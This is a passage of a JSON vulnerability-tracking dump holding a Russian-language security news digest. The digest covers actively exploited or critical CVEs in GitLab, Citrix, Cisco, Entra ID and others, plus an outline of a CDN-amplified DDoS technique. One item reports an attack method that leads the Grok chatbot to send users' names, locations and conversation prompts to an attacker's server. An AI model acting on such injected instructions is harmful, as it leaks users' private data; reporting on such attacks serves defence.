\u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 \u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-23T00:00:46.340424Z"}, {"uuid": "6703214a-b66d-4d37-a8c4-2b6643ab6b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://t.me/true_secator/8535", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 \u0441\u0442\u0430\u0440\u044b\u0439 